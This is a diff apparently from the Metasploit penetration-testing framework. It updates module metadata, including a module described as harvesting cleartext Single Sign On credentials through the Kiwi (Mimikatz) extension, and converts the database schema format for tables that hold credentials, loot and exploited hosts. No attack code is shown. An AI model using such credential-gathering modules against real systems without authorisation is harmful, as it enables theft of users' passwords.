@@ -171842,7 +175045,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-01-17 16:41:21 +0000",
"mod_time": "2020-07-10 18:10:26 +0000",
"path": "/modules/post/windows/gather/checkvm.rb",
"is_install_path": true,
"ref_name": "windows/gather/checkvm",
@@ -173052,7 +176255,7 @@
"author": [
"Ben Campbell <eat_meatballs@hotmail.co.uk>"
],
"description": "This module will collect cleartext Single Sign On credentials from the Local\n Security Authority using the Mimikatz extension. Blank passwords will not be stored\n in the database.",
"description": "This module will collect cleartext Single Sign On credentials from the Local\n Security Authority using the Kiwi (Mimikatz) extension. Blank passwords will not be stored\n in the database.",
"references": [
],
@@ -173062,7 +176265,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-05-28 12:34:44 +0000",
"path": "/modules/post/windows/gather/credentials/sso.rb",
"is_install_path": true,
"ref_name": "windows/gather/credentials/sso",
@@ -174280,6 +177483,39 @@
},
"needs_cleanup": null
},
"post_windows/gather/enum_hyperv_vms": {
"name": "Windows Hyper-V VM Enumeration",
"fullname": "post/windows/gather/enum_hyperv_vms",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"gwillcox-r7"
],
"description": "This module will check if the target machine is a Hyper-V host and, if it is, will return a list of all\n of the VMs running on the host, as well as stats such as their state, version, CPU Usage, uptime, and status.",
"references": [
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-16 16:02:54 +0000",
"path": "/modules/post/windows/gather/enum_hyperv_vms.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_hyperv_vms",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"post_windows/gather/enum_ie": {
"name": "Windows Gather Internet Explorer User Data Enumeration",
"fullname": "post/windows/gather/enum_ie",
@@ -174425,7 +177661,7 @@
"zeroSteiner <zeroSteiner@gmail.com>",
"mubix <mubix@hak5.org>"
],
"description": "This module will attempt to enumerate which patches are applied to a windows system\n based on the result of the WMI query: SELECT HotFixID FROM Win32_QuickFixEngineering.",
"description": "This module will attempt to enumerate which patches are applied to a windows system\n based on the result of the WMI query: SELECT HotFixID, InstalledOn FROM Win32_QuickFixEngineering.",
"references": [
"URL-http://msdn.microsoft.com/en-us/library/aa394391(v=vs.85).aspx"
],
@@ -174435,7 +177671,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-01-14 20:49:39 +0000",
"mod_time": "2020-09-02 11:33:50 +0000",
"path": "/modules/post/windows/gather/enum_patches.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_patches",
@@ -174468,7 +177704,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-09-05 10:43:41 +0000",
"path": "/modules/post/windows/gather/enum_powershell_env.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_powershell_env",
+579 -615
View File
@@ -1,4 +1,3 @@
# encoding: UTF-8
# This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
@@ -11,82 +10,77 @@
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 20190507120211) do
ActiveRecord::Schema.define(version: 2019_05_07_120211) do
# These are extensions that must be enabled in order to support this database
enable_extension "plpgsql"
create_table "api_keys", force: :cascade do |t|
t.text "token"
create_table "api_keys", id: :serial, force: :cascade do |t|
t.text "token"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "async_callbacks", force: :cascade do |t|
t.string "uuid", null: false
t.integer "timestamp", null: false
t.string "listener_uri"
t.string "target_host"
t.string "target_port"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.uuid "{:null=>false}"
end
create_table "automatic_exploitation_match_results", force: :cascade do |t|
t.integer "match_id"
t.integer "run_id"
t.string "state", null: false
create_table "async_callbacks", id: :serial, force: :cascade do |t|
t.string "uuid", null: false
t.integer "timestamp", null: false
t.string "listener_uri"
t.string "target_host"
t.string "target_port"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
add_index "automatic_exploitation_match_results", ["match_id"], name: "index_automatic_exploitation_match_results_on_match_id", using: :btree
add_index "automatic_exploitation_match_results", ["run_id"], name: "index_automatic_exploitation_match_results_on_run_id", using: :btree
create_table "automatic_exploitation_match_sets", force: :cascade do |t|
t.integer "workspace_id"
t.integer "user_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
create_table "automatic_exploitation_match_results", id: :serial, force: :cascade do |t|
t.integer "match_id"
t.integer "run_id"
t.string "state", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index ["match_id"], name: "index_automatic_exploitation_match_results_on_match_id"
t.index ["run_id"], name: "index_automatic_exploitation_match_results_on_run_id"
end
add_index "automatic_exploitation_match_sets", ["user_id"], name: "index_automatic_exploitation_match_sets_on_user_id", using: :btree
add_index "automatic_exploitation_match_sets", ["workspace_id"], name: "index_automatic_exploitation_match_sets_on_workspace_id", using: :btree
create_table "automatic_exploitation_matches", force: :cascade do |t|
t.integer "module_detail_id"
t.string "state"
t.integer "nexpose_data_vulnerability_definition_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.integer "match_set_id"
t.string "matchable_type"
t.integer "matchable_id"
t.text "module_fullname"
create_table "automatic_exploitation_match_sets", id: :serial, force: :cascade do |t|
t.integer "workspace_id"
t.integer "user_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index ["user_id"], name: "index_automatic_exploitation_match_sets_on_user_id"
t.index ["workspace_id"], name: "index_automatic_exploitation_match_sets_on_workspace_id"
end
add_index "automatic_exploitation_matches", ["module_detail_id"], name: "index_automatic_exploitation_matches_on_module_detail_id", using: :btree
add_index "automatic_exploitation_matches", ["module_fullname"], name: "index_automatic_exploitation_matches_on_module_fullname", using: :btree
create_table "automatic_exploitation_runs", force: :cascade do |t|
t.integer "workspace_id"
t.integer "user_id"
t.integer "match_set_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
create_table "automatic_exploitation_matches", id: :serial, force: :cascade do |t|
t.integer "module_detail_id"
t.string "state"
t.integer "nexpose_data_vulnerability_definition_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.integer "match_set_id"
t.string "matchable_type"
t.integer "matchable_id"
t.text "module_fullname"
t.index ["module_detail_id"], name: "index_automatic_exploitation_matches_on_module_detail_id"
t.index ["module_fullname"], name: "index_automatic_exploitation_matches_on_module_fullname"
end
add_index "automatic_exploitation_runs", ["match_set_id"], name: "index_automatic_exploitation_runs_on_match_set_id", using: :btree
add_index "automatic_exploitation_runs", ["user_id"], name: "index_automatic_exploitation_runs_on_user_id", using: :btree
add_index "automatic_exploitation_runs", ["workspace_id"], name: "index_automatic_exploitation_runs_on_workspace_id", using: :btree
create_table "automatic_exploitation_runs", id: :serial, force: :cascade do |t|
t.integer "workspace_id"
t.integer "user_id"
t.integer "match_set_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index ["match_set_id"], name: "index_automatic_exploitation_runs_on_match_set_id"
t.index ["user_id"], name: "index_automatic_exploitation_runs_on_user_id"
t.index ["workspace_id"], name: "index_automatic_exploitation_runs_on_workspace_id"
end
create_table "clients", force: :cascade do |t|
t.integer "host_id"
create_table "clients", id: :serial, force: :cascade do |t|
t.integer "host_id"
t.datetime "created_at"
t.string "ua_string", limit: 1024, null: false
t.string "ua_name", limit: 64
t.string "ua_ver", limit: 32
t.string "ua_string", limit: 1024, null: false
t.string "ua_name", limit: 64
t.string "ua_ver", limit: 32
t.datetime "updated_at"
end
@@ -100,743 +94,713 @@ ActiveRecord::Schema.define(version: 20190507120211) do
t.integer "task_id"
end
create_table "creds", force: :cascade do |t|
t.integer "service_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.string "user", limit: 2048
t.string "pass", limit: 4096
t.boolean "active", default: true
t.string "proof", limit: 4096
t.string "ptype", limit: 256
t.integer "source_id"
t.string "source_type"
create_table "creds", id: :serial, force: :cascade do |t|
t.integer "service_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.string "user", limit: 2048
t.string "pass", limit: 4096
t.boolean "active", default: true
t.string "proof", limit: 4096
t.string "ptype", limit: 256
t.integer "source_id"
t.string "source_type"
end
create_table "events", force: :cascade do |t|
t.integer "workspace_id"
t.integer "host_id"
create_table "events", id: :serial, force: :cascade do |t|
t.integer "workspace_id"
t.integer "host_id"
t.datetime "created_at"
t.string "name"
t.string "name"
t.datetime "updated_at"
t.boolean "critical"
t.boolean "seen"
t.string "username"
t.text "info"
t.boolean "critical"
t.boolean "seen"
t.string "username"
t.text "info"
end
create_table "exploit_attempts", force: :cascade do |t|
t.integer "host_id"
t.integer "service_id"
t.integer "vuln_id"
create_table "exploit_attempts", id: :serial, force: :cascade do |t|
t.integer "host_id"
t.integer "service_id"
t.integer "vuln_id"
t.datetime "attempted_at"
t.boolean "exploited"
t.string "fail_reason"
t.string "username"
t.text "module"
t.integer "session_id"
t.integer "loot_id"
t.integer "port"
t.string "proto"
t.text "fail_detail"
t.boolean "exploited"
t.string "fail_reason"
t.string "username"
t.text "module"
t.integer "session_id"
t.integer "loot_id"
t.integer "port"
t.string "proto"
t.text "fail_detail"
end
create_table "exploited_hosts", force: :cascade do |t|
t.integer "host_id", null: false
t.integer "service_id"
t.string "session_uuid", limit: 8
t.string "name", limit: 2048
t.string "payload", limit: 2048
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
create_table "exploited_hosts", id: :serial, force: :cascade do |t|
t.integer "host_id", null: false
t.integer "service_id"
t.string "session_uuid", limit: 8
t.string "name", limit: 2048
t.string "payload", limit: 2048
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "host_details", force: :cascade do |t|
create_table "host_details", id: :serial, force: :cascade do |t|
t.integer "host_id"
t.integer "nx_console_id"
t.integer "nx_device_id"
t.string "src"
t.string "nx_site_name"
t.string "nx_site_importance"
t.string "nx_scan_template"
t.float "nx_risk_score"
t.string "src"
t.string "nx_site_name"
t.string "nx_site_importance"
t.string "nx_scan_template"
t.float "nx_risk_score"
end
create_table "hosts", force: :cascade do |t|
create_table "hosts", id: :serial, force: :cascade do |t|
t.datetime "created_at"
t.inet "address", null: false
t.string "mac"
t.string "comm"
t.string "name"
t.string "state"
t.string "os_name"
t.string "os_flavor"
t.string "os_sp"
t.string "os_lang"
t.string "arch"
t.integer "workspace_id", null: false
t.inet "address", null: false
t.string "mac"
t.string "comm"
t.string "name"
t.string "state"
t.string "os_name"
t.string "os_flavor"
t.string "os_sp"
t.string "os_lang"
t.string "arch"
t.integer "workspace_id", null: false
t.datetime "updated_at"
t.text "purpose"
t.string "info", limit: 65536
t.text "comments"
t.text "scope"
t.text "virtual_host"
t.integer "note_count", default: 0
t.integer "vuln_count", default: 0
t.integer "service_count", default: 0
t.integer "host_detail_count", default: 0
t.integer "exploit_attempt_count", default: 0
t.integer "cred_count", default: 0
t.string "detected_arch"
t.string "os_family"
t.text "purpose"
t.string "info", limit: 65536
t.text "comments"
t.text "scope"
t.text "virtual_host"
t.integer "note_count", default: 0
t.integer "vuln_count", default: 0
t.integer "service_count", default: 0
t.integer "host_detail_count", default: 0
t.integer "exploit_attempt_count", default: 0
t.integer "cred_count", default: 0
t.string "detected_arch"
t.string "os_family"
t.index ["name"], name: "index_hosts_on_name"
t.index ["os_flavor"], name: "index_hosts_on_os_flavor"
t.index ["os_name"], name: "index_hosts_on_os_name"
t.index ["purpose"], name: "index_hosts_on_purpose"
t.index ["state"], name: "index_hosts_on_state"
t.index ["workspace_id", "address"], name: "index_hosts_on_workspace_id_and_address", unique: true
end
add_index "hosts", ["name"], name: "index_hosts_on_name", using: :btree
add_index "hosts", ["os_flavor"], name: "index_hosts_on_os_flavor", using: :btree
add_index "hosts", ["os_name"], name: "index_hosts_on_os_name", using: :btree
add_index "hosts", ["purpose"], name: "index_hosts_on_purpose", using: :btree
add_index "hosts", ["state"], name: "index_hosts_on_state", using: :btree
add_index "hosts", ["workspace_id", "address"], name: "index_hosts_on_workspace_id_and_address", unique: true, using: :btree
create_table "hosts_tags", force: :cascade do |t|
create_table "hosts_tags", id: :serial, force: :cascade do |t|
t.integer "host_id"
t.integer "tag_id"
end
create_table "listeners", force: :cascade do |t|
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.integer "workspace_id", default: 1, null: false
t.integer "task_id"
t.boolean "enabled", default: true
t.text "owner"
t.text "payload"
t.text "address"
t.integer "port"
t.binary "options"
t.text "macro"
create_table "listeners", id: :serial, force: :cascade do |t|
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.integer "workspace_id", default: 1, null: false
t.integer "task_id"
t.boolean "enabled", default: true
t.text "owner"
t.text "payload"
t.text "address"
t.integer "port"
t.binary "options"
t.text "macro"
end
create_table "loots", force: :cascade do |t|
t.integer "workspace_id", default: 1, null: false
t.integer "host_id"
t.integer "service_id"
t.string "ltype", limit: 512
t.string "path", limit: 1024
t.text "data"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.string "content_type"
t.text "name"
t.text "info"
t.integer "module_run_id"
create_table "loots", id: :serial, force: :cascade do |t|
t.integer "workspace_id", default: 1, null: false
t.integer "host_id"
t.integer "service_id"
t.string "ltype", limit: 512
t.string "path", limit: 1024
t.text "data"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.string "content_type"
t.text "name"
t.text "info"
t.integer "module_run_id"
t.index ["module_run_id"], name: "index_loots_on_module_run_id"
end
add_index "loots", ["module_run_id"], name: "index_loots_on_module_run_id", using: :btree
create_table "macros", force: :cascade do |t|
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.text "owner"
t.text "name"
t.text "description"
t.binary "actions"
t.binary "prefs"
create_table "macros", id: :serial, force: :cascade do |t|
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.text "owner"
t.text "name"
t.text "description"
t.binary "actions"
t.binary "prefs"
end
create_table "metasploit_credential_cores", force: :cascade do |t|
t.integer "origin_id", null: false
t.string "origin_type", null: false
t.integer "private_id"
t.integer "public_id"
t.integer "realm_id"
t.integer "workspace_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.integer "logins_count", default: 0
create_table "metasploit_credential_cores", id: :serial, force: :cascade do |t|
t.string "origin_type", null: false
t.integer "origin_id", null: false
t.integer "private_id"
t.integer "public_id"
t.integer "realm_id"
t.integer "workspace_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.integer "logins_count", default: 0
t.index ["origin_type", "origin_id"], name: "index_metasploit_credential_cores_on_origin_type_and_origin_id"
t.index ["private_id"], name: "index_metasploit_credential_cores_on_private_id"
t.index ["public_id"], name: "index_metasploit_credential_cores_on_public_id"
t.index ["realm_id"], name: "index_metasploit_credential_cores_on_realm_id"
t.index ["workspace_id", "private_id"], name: "unique_private_metasploit_credential_cores", unique: true, where: "((realm_id IS NULL) AND (public_id IS NULL) AND (private_id IS NOT NULL))"
t.index ["workspace_id", "public_id", "private_id"], name: "unique_realmless_metasploit_credential_cores", unique: true, where: "((realm_id IS NULL) AND (public_id IS NOT NULL) AND (private_id IS NOT NULL))"
t.index ["workspace_id", "public_id"], name: "unique_public_metasploit_credential_cores", unique: true, where: "((realm_id IS NULL) AND (public_id IS NOT NULL) AND (private_id IS NULL))"
t.index ["workspace_id", "realm_id", "private_id"], name: "unique_publicless_metasploit_credential_cores", unique: true, where: "((realm_id IS NOT NULL) AND (public_id IS NULL) AND (private_id IS NOT NULL))"
t.index ["workspace_id", "realm_id", "public_id", "private_id"], name: "unique_complete_metasploit_credential_cores", unique: true, where: "((realm_id IS NOT NULL) AND (public_id IS NOT NULL) AND (private_id IS NOT NULL))"
t.index ["workspace_id", "realm_id", "public_id"], name: "unique_privateless_metasploit_credential_cores", unique: true, where: "((realm_id IS NOT NULL) AND (public_id IS NOT NULL) AND (private_id IS NULL))"
t.index ["workspace_id"], name: "index_metasploit_credential_cores_on_workspace_id"
end
add_index "metasploit_credential_cores", ["origin_type", "origin_id"], name: "index_metasploit_credential_cores_on_origin_type_and_origin_id", using: :btree
add_index "metasploit_credential_cores", ["private_id"], name: "index_metasploit_credential_cores_on_private_id", using: :btree
add_index "metasploit_credential_cores", ["public_id"], name: "index_metasploit_credential_cores_on_public_id", using: :btree
add_index "metasploit_credential_cores", ["realm_id"], name: "index_metasploit_credential_cores_on_realm_id", using: :btree
add_index "metasploit_credential_cores", ["workspace_id", "private_id"], name: "unique_private_metasploit_credential_cores", unique: true, where: "((realm_id IS NULL) AND (public_id IS NULL) AND (private_id IS NOT NULL))", using: :btree
add_index "metasploit_credential_cores", ["workspace_id", "public_id", "private_id"], name: "unique_realmless_metasploit_credential_cores", unique: true, where: "((realm_id IS NULL) AND (public_id IS NOT NULL) AND (private_id IS NOT NULL))", using: :btree
add_index "metasploit_credential_cores", ["workspace_id", "public_id"], name: "unique_public_metasploit_credential_cores", unique: true, where: "((realm_id IS NULL) AND (public_id IS NOT NULL) AND (private_id IS NULL))", using: :btree
add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "private_id"], name: "unique_publicless_metasploit_credential_cores", unique: true, where: "((realm_id IS NOT NULL) AND (public_id IS NULL) AND (private_id IS NOT NULL))", using: :btree
add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "public_id", "private_id"], name: "unique_complete_metasploit_credential_cores", unique: true, where: "((realm_id IS NOT NULL) AND (public_id IS NOT NULL) AND (private_id IS NOT NULL))", using: :btree
add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "public_id"], name: "unique_privateless_metasploit_credential_cores", unique: true, where: "((realm_id IS NOT NULL) AND (public_id IS NOT NULL) AND (private_id IS NULL))", using: :btree
add_index "metasploit_credential_cores", ["workspace_id"], name: "index_metasploit_credential_cores_on_workspace_id", using: :btree
create_table "metasploit_credential_logins", force: :cascade do |t|
t.integer "core_id", null: false
t.integer "service_id", null: false
t.string "access_level"
t.string "status", null: false
create_table "metasploit_credential_logins", id: :serial, force: :cascade do |t|
t.integer "core_id", null: false
t.integer "service_id", null: false
t.string "access_level"
t.string "status", null: false
t.datetime "last_attempted_at"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
add_index "metasploit_credential_logins", ["core_id", "service_id"], name: "index_metasploit_credential_logins_on_core_id_and_service_id", unique: true, using: :btree
add_index "metasploit_credential_logins", ["service_id", "core_id"], name: "index_metasploit_credential_logins_on_service_id_and_core_id", unique: true, using: :btree
create_table "metasploit_credential_origin_cracked_passwords", force: :cascade do |t|
t.integer "metasploit_credential_core_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
add_index "metasploit_credential_origin_cracked_passwords", ["metasploit_credential_core_id"], name: "originating_credential_cores", using: :btree
create_table "metasploit_credential_origin_imports", force: :cascade do |t|
t.text "filename", null: false
t.integer "task_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index ["core_id", "service_id"], name: "index_metasploit_credential_logins_on_core_id_and_service_id", unique: true
t.index ["service_id", "core_id"], name: "index_metasploit_credential_logins_on_service_id_and_core_id", unique: true
end
add_index "metasploit_credential_origin_imports", ["task_id"], name: "index_metasploit_credential_origin_imports_on_task_id", using: :btree
create_table "metasploit_credential_origin_manuals", force: :cascade do |t|
t.integer "user_id", null: false
create_table "metasploit_credential_origin_cracked_passwords", id: :serial, force: :cascade do |t|
t.integer "metasploit_credential_core_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index ["metasploit_credential_core_id"], name: "originating_credential_cores"
end
add_index "metasploit_credential_origin_manuals", ["user_id"], name: "index_metasploit_credential_origin_manuals_on_user_id", using: :btree
create_table "metasploit_credential_origin_services", force: :cascade do |t|
t.integer "service_id", null: false
t.text "module_full_name", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
add_index "metasploit_credential_origin_services", ["service_id", "module_full_name"], name: "unique_metasploit_credential_origin_services", unique: true, using: :btree
create_table "metasploit_credential_origin_sessions", force: :cascade do |t|
t.text "post_reference_name", null: false
t.integer "session_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
add_index "metasploit_credential_origin_sessions", ["session_id", "post_reference_name"], name: "unique_metasploit_credential_origin_sessions", unique: true, using: :btree
create_table "metasploit_credential_privates", force: :cascade do |t|
t.string "type", null: false
t.text "data", null: false
create_table "metasploit_credential_origin_imports", id: :serial, force: :cascade do |t|
t.text "filename", null: false
t.integer "task_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.string "jtr_format"
t.index ["task_id"], name: "index_metasploit_credential_origin_imports_on_task_id"
end
add_index "metasploit_credential_privates", ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT ((type)::text = 'Metasploit::Credential::SSHKey'::text))", using: :btree
add_index "metasploit_credential_privates", ["type"], name: "index_metasploit_credential_privates_on_type_and_data_sshkey", unique: true, where: "((type)::text = 'Metasploit::Credential::SSHKey'::text)", using: :btree
create_table "metasploit_credential_publics", force: :cascade do |t|
t.string "username", null: false
create_table "metasploit_credential_origin_manuals", id: :serial, force: :cascade do |t|
t.integer "user_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.string "type", null: false
t.index ["user_id"], name: "index_metasploit_credential_origin_manuals_on_user_id"
end
add_index "metasploit_credential_publics", ["username"], name: "index_metasploit_credential_publics_on_username", unique: true, using: :btree
create_table "metasploit_credential_realms", force: :cascade do |t|
t.string "key", null: false
t.string "value", null: false
create_table "metasploit_credential_origin_services", id: :serial, force: :cascade do |t|
t.integer "service_id", null: false
t.text "module_full_name", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index ["service_id", "module_full_name"], name: "unique_metasploit_credential_origin_services", unique: true
end
add_index "metasploit_credential_realms", ["key", "value"], name: "index_metasploit_credential_realms_on_key_and_value", unique: true, using: :btree
create_table "metasploit_credential_origin_sessions", id: :serial, force: :cascade do |t|
t.text "post_reference_name", null: false
t.integer "session_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index ["session_id", "post_reference_name"], name: "unique_metasploit_credential_origin_sessions", unique: true
end
create_table "mod_refs", force: :cascade do |t|
create_table "metasploit_credential_privates", id: :serial, force: :cascade do |t|
t.string "type", null: false
t.text "data", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.string "jtr_format"
t.index "type, decode(md5(data), 'hex'::text)", name: "index_metasploit_credential_privates_on_type_and_data_sshkey", unique: true, where: "((type)::text = 'Metasploit::Credential::SSHKey'::text)"
t.index ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT ((type)::text = 'Metasploit::Credential::SSHKey'::text))"
end
create_table "metasploit_credential_publics", id: :serial, force: :cascade do |t|
t.string "username", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.string "type", null: false
t.index ["username"], name: "index_metasploit_credential_publics_on_username", unique: true
end
create_table "metasploit_credential_realms", id: :serial, force: :cascade do |t|
t.string "key", null: false
t.string "value", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index ["key", "value"], name: "index_metasploit_credential_realms_on_key_and_value", unique: true
end
create_table "mod_refs", id: :serial, force: :cascade do |t|
t.string "module", limit: 1024
t.string "mtype", limit: 128
t.text "ref"
t.string "mtype", limit: 128
t.text "ref"
end
create_table "module_actions", force: :cascade do |t|
create_table "module_actions", id: :serial, force: :cascade do |t|
t.integer "detail_id"
t.text "name"
t.text "name"
t.index ["detail_id"], name: "index_module_actions_on_detail_id"
end
add_index "module_actions", ["detail_id"], name: "index_module_actions_on_detail_id", using: :btree
create_table "module_archs", force: :cascade do |t|
create_table "module_archs", id: :serial, force: :cascade do |t|
t.integer "detail_id"
t.text "name"
t.text "name"
t.index ["detail_id"], name: "index_module_archs_on_detail_id"
end
add_index "module_archs", ["detail_id"], name: "index_module_archs_on_detail_id", using: :btree
create_table "module_authors", force: :cascade do |t|
create_table "module_authors", id: :serial, force: :cascade do |t|
t.integer "detail_id"
t.text "name"
t.text "email"
t.text "name"
t.text "email"
t.index ["detail_id"], name: "index_module_authors_on_detail_id"
end
add_index "module_authors", ["detail_id"], name: "index_module_authors_on_detail_id", using: :btree
create_table "module_details", force: :cascade do |t|
create_table "module_details", id: :serial, force: :cascade do |t|
t.datetime "mtime"
t.text "file"
t.string "mtype"
t.text "refname"
t.text "fullname"
t.text "name"
t.integer "rank"
t.text "description"
t.string "license"
t.boolean "privileged"
t.text "file"
t.string "mtype"
t.text "refname"
t.text "fullname"
t.text "name"
t.integer "rank"
t.text "description"
t.string "license"
t.boolean "privileged"
t.datetime "disclosure_date"
t.integer "default_target"
t.text "default_action"
t.string "stance"
t.boolean "ready"
t.integer "default_target"
t.text "default_action"
t.string "stance"
t.boolean "ready"
t.index ["description"], name: "index_module_details_on_description"
t.index ["mtype"], name: "index_module_details_on_mtype"
t.index ["name"], name: "index_module_details_on_name"
t.index ["refname"], name: "index_module_details_on_refname"
end
add_index "module_details", ["description"], name: "index_module_details_on_description", using: :btree
add_index "module_details", ["mtype"], name: "index_module_details_on_mtype", using: :btree
add_index "module_details", ["name"], name: "index_module_details_on_name", using: :btree
add_index "module_details", ["refname"], name: "index_module_details_on_refname", using: :btree
create_table "module_mixins", force: :cascade do |t|
create_table "module_mixins", id: :serial, force: :cascade do |t|
t.integer "detail_id"
t.text "name"
t.text "name"
t.index ["detail_id"], name: "index_module_mixins_on_detail_id"
end
add_index "module_mixins", ["detail_id"], name: "index_module_mixins_on_detail_id", using: :btree
create_table "module_platforms", force: :cascade do |t|
create_table "module_platforms", id: :serial, force: :cascade do |t|
t.integer "detail_id"
t.text "name"
t.text "name"
t.index ["detail_id"], name: "index_module_platforms_on_detail_id"
end
add_index "module_platforms", ["detail_id"], name: "index_module_platforms_on_detail_id", using: :btree
create_table "module_refs", force: :cascade do |t|
create_table "module_refs", id: :serial, force: :cascade do |t|
t.integer "detail_id"
t.text "name"
t.text "name"
t.index ["detail_id"], name: "index_module_refs_on_detail_id"
t.index ["name"], name: "index_module_refs_on_name"
end
add_index "module_refs", ["detail_id"], name: "index_module_refs_on_detail_id", using: :btree
add_index "module_refs", ["name"], name: "index_module_refs_on_name", using: :btree
create_table "module_runs", force: :cascade do |t|
create_table "module_runs", id: :serial, force: :cascade do |t|
t.datetime "attempted_at"
t.text "fail_detail"
t.string "fail_reason"
t.text "module_fullname"
t.integer "port"
t.string "proto"
t.integer "session_id"
t.string "status"
t.integer "trackable_id"
t.string "trackable_type"
t.integer "user_id"
t.string "username"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.text "fail_detail"
t.string "fail_reason"
t.text "module_fullname"
t.integer "port"
t.string "proto"
t.integer "session_id"
t.string "status"
t.integer "trackable_id"
t.string "trackable_type"
t.integer "user_id"
t.string "username"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index ["session_id"], name: "index_module_runs_on_session_id"
t.index ["user_id"], name: "index_module_runs_on_user_id"
end
add_index "module_runs", ["session_id"], name: "index_module_runs_on_session_id", using: :btree
add_index "module_runs", ["user_id"], name: "index_module_runs_on_user_id", using: :btree
create_table "module_targets", force: :cascade do |t|
create_table "module_targets", id: :serial, force: :cascade do |t|
t.integer "detail_id"
t.integer "index"
t.text "name"
t.text "name"
t.index ["detail_id"], name: "index_module_targets_on_detail_id"
end
add_index "module_targets", ["detail_id"], name: "index_module_targets_on_detail_id", using: :btree
create_table "nexpose_consoles", force: :cascade do |t|
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.boolean "enabled", default: true
t.text "owner"
t.text "address"
t.integer "port", default: 3780
t.text "username"
t.text "password"
t.text "status"
t.text "version"
t.text "cert"
t.binary "cached_sites"
t.text "name"
create_table "nexpose_consoles", id: :serial, force: :cascade do |t|
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.boolean "enabled", default: true
t.text "owner"
t.text "address"
t.integer "port", default: 3780
t.text "username"
t.text "password"
t.text "status"
t.text "version"
t.text "cert"
t.binary "cached_sites"
t.text "name"
end
create_table "notes", force: :cascade do |t|
create_table "notes", id: :serial, force: :cascade do |t|
t.datetime "created_at"
t.string "ntype", limit: 512
t.integer "workspace_id", default: 1, null: false
t.integer "service_id"
t.integer "host_id"
t.string "ntype", limit: 512
t.integer "workspace_id", default: 1, null: false
t.integer "service_id"
t.integer "host_id"
t.datetime "updated_at"
t.boolean "critical"
t.boolean "seen"
t.text "data"
t.integer "vuln_id"
t.boolean "critical"
t.boolean "seen"
t.text "data"
t.integer "vuln_id"
t.index ["ntype"], name: "index_notes_on_ntype"
t.index ["vuln_id"], name: "index_notes_on_vuln_id"
end
add_index "notes", ["ntype"], name: "index_notes_on_ntype", using: :btree
add_index "notes", ["vuln_id"], name: "index_notes_on_vuln_id", using: :btree
create_table "payloads", force: :cascade do |t|
t.string "name"
t.string "uuid"
t.integer "uuid_mask"
t.integer "timestamp"
t.string "arch"
t.string "platform"
t.string "urls"
t.string "description"
t.string "raw_payload"
t.string "raw_payload_hash"
t.string "build_status"
t.string "build_opts"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
create_table "payloads", id: :serial, force: :cascade do |t|
t.string "name"
t.string "uuid"
t.integer "uuid_mask"
t.integer "timestamp"
t.string "arch"
t.string "platform"
t.string "urls"
t.string "description"
t.string "raw_payload"
t.string "raw_payload_hash"
t.string "build_status"
t.string "build_opts"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
